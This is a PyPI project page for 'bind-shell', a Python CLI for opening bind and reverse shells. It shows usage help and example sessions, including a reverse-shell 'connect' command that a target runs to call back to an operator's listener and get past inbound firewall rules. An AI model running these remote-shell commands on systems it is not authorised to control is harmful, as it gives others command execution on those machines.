A CLI for creating and connecting to bind shells and reverse shells. Zero external dependencies — built entirely on Python stdlib.
Project description
bind-shell

A CLI for creating and connecting to bind shells and reverse shells. Zero external dependencies — built entirely on Python stdlib.
Install
Use pipx to install globally in an isolated python environment.
pipx install bind-shell
Usage
usage: bind-shell [-h] {server,client,listen,connect} ...
positional arguments:
{server,client,listen,connect}
server Bind shell: bind a port and execute commands from an incoming client
client Bind shell: connect to a server and send commands interactively
listen Reverse shell: bind a port and send commands to an incoming connector
connect Reverse shell: connect out to a listener and execute its commands
Bind shell
In a bind shell the target runs server — it binds a port and waits. The operator runs client to connect in and issue commands.
On the target:
usage: bind-shell server [-h] [--host HOST] [--port PORT] [--shell SHELL]
options:
-h, --help show this help message and exit
--host HOST Host address to bind to
--port PORT Port to listen on
--shell SHELL Shell executable to use (e.g. /bin/bash, pwsh)
admin@server:~$ bind-shell server --shell bash
Bind-Shell WAN: bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell LAN: bind-shell client 192.168.86.25 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell Local: bind-shell client localhost --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
On the operator:
usage: bind-shell client [-h] [--port PORT] --password PASSWORD host
positional arguments:
host Host address of the bind shell server
options:
-h, --help show this help message and exit
--port PORT Port to connect to
--password PASSWORD Password for authentication
user@client:~$ bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
admin@server:~$ echo $0
bash
The server will log client connects and disconnects.
Reverse shell
In a reverse shell the operator runs listen — it binds a port and waits. The target runs connect to call back out, bypassing inbound firewall rules.
On the operator:
usage: bind-shell listen [-h] [--host HOST] [--port PORT]
options:
-h, --help show this help message and exit
--host HOST Host address to bind to
--port PORT Port to listen on
admin@server:~$ bind-shell listen
Reverse-Shell WAN: bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell LAN: bind-shell connect 192.168.86.26 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell Local: bind-shell connect localhost --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
On the target:
usage: bind-shell connect [-h] [--port PORT] --password PASSWORD [--shell SHELL] host
positional arguments:
host Host address of the reverse shell listener
options:
-h, --help show this help message and exit
--port PORT Port to connect to
--password PASSWORD Password for authentication
--shell SHELL Shell executable to use (e.g. /bin/bash, pwsh)
user@client:~$ bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA --shell bash
On the server you should be connected to the client shell
Connected: 192.168.86.25:58912
user@client:~$ hostname
client
Type exit and/or Ctrl + C to close a session.
Dev Prerequisites
- python >=3.10
- pipx, an optional tool for prerequisite installs
- poetry (install globally with
pipx install poetry) - flake8 (install globally with
pipx install flake8)- flake8-bugbear extension (install with
pipx inject flake8 flake8-bugbear) - flake8-naming extension (install with
pipx inject flake8 pep8-naming)
- flake8-bugbear extension (install with
- black (install globally with
pipx install black) - pre-commit (install globally with
pipx install pre-commit) - just, a Justfile command runner
Updating python version
- Update python version in
Dev Prerequisitesabove - Update [tool.poetry.dependencies] section of
pyproject.toml - Update pyupgrade hook in
.pre-commit-config.yaml - Update python version in
.gitlab-ci.yml
Justfile Targets
install: installs poetry dependencies and pre-commit git hooksupdate_boilerplate: fetches and applies updates from the boilerplate remotetest: runs pytest with test coverage report
Boilerplate
This project tracks the pyplate boilerplate via the boilerplate git remote. Run just update_boilerplate to pull latest changes. NOTE: keep the boilerplate remote history intact to successfully merge future updates.
Project details
Release history Release notifications | RSS feed
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file bind_shell-0.1.5.tar.gz.
File metadata
- Download URL: bind_shell-0.1.5.tar.gz
- Upload date:
- Size: 6.6 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
ffa5ae35f01d2e5818ceafa21ffcb8a7d496a6433c4412e030c71f0624f81962
|
|
| MD5 |
846d8ed2562edfd4ee7f0110e559fd15
|
|
| BLAKE2b-256 |
c680f44f68b8672823a95f8aa1dc61219d016991b550e16324e5822aa4d77a60
|
File details
Details for the file bind_shell-0.1.5-py3-none-any.whl.
File metadata
- Download URL: bind_shell-0.1.5-py3-none-any.whl
- Upload date:
- Size: 6.6 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: poetry/2.4.1 CPython/3.13.13 Linux/5.15.154+
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
6f22389ed1819e3dcf07d9c4acdceaf83fb84bb33b249629b6319103cb8b6ac8
|
|
| MD5 |
82c6e2eca9477db4f050b461db1e12a6
|
|
| BLAKE2b-256 |
506c2e71535e9ac1052a3a3bfc5255f6a20bbf75e7d66a2c962f54dc1a5a7bdb
|